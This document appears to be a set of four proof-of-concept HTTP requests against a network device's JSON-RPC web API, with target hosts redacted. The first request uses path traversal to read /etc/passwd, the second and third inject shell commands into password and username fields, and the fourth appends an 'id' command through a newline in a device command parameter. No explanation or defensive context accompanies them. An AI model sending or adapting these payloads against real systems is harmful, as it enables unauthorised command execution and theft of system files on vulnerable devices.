POST /echo.fcgi HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Linux; U; Android 7.0; en-us; MI 5 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.0.3
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 110
Connection: keep-alive
{
    "id":1,
    "jsonrpc":"2.0",
    "username":"xxx",
    "method":"downloader.cert",
    "params":{
        "fileName":"/../../etc/passwd"
    }
}

POST /apiaccess HTTP/1.1
Host: XXXX
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
{
    "id":1,
    "jsonrpc":"2.0",
    "method":"system.getPvc",
    "params":{
        "username": "Administrator",
        "password":";echo pwned1234 > /tmp/test.txt"
    }
}

POST /echo.fcgi HTTP/1.1
Host: 
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: application/json, text/plain, */*
{
    "id":1,
    "jsonrpc":"2.0",
    "username":"Administrator",
    "method":"user.logout",
    "params":{
        "username": ";echo pwned > /tmp/test.txt",
        "Sessionid":""
    }
}

POST /echo.fcgi HTTP/1.1
Host: XXXX
Content-Length: 349
Accept: application/json, text/plain, */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
    "id":1,
    "jsonrpc":"2.0",
    "method":"expressmessage.call",
    "username":"Administrator",
    "session":"XXXXXX",
    "topic":"WMA/DC:XXXXXXX",
    "params":{
        "version":"3.0",
        "messageID":1,
        "macAddress":"DC:XXXXX",
        "option":"update",
        "method":"ap_manage.exce_command",
        "contents":{
            "command":"tech_support_command 9 127.0.0.1\nid"
       }
    }
}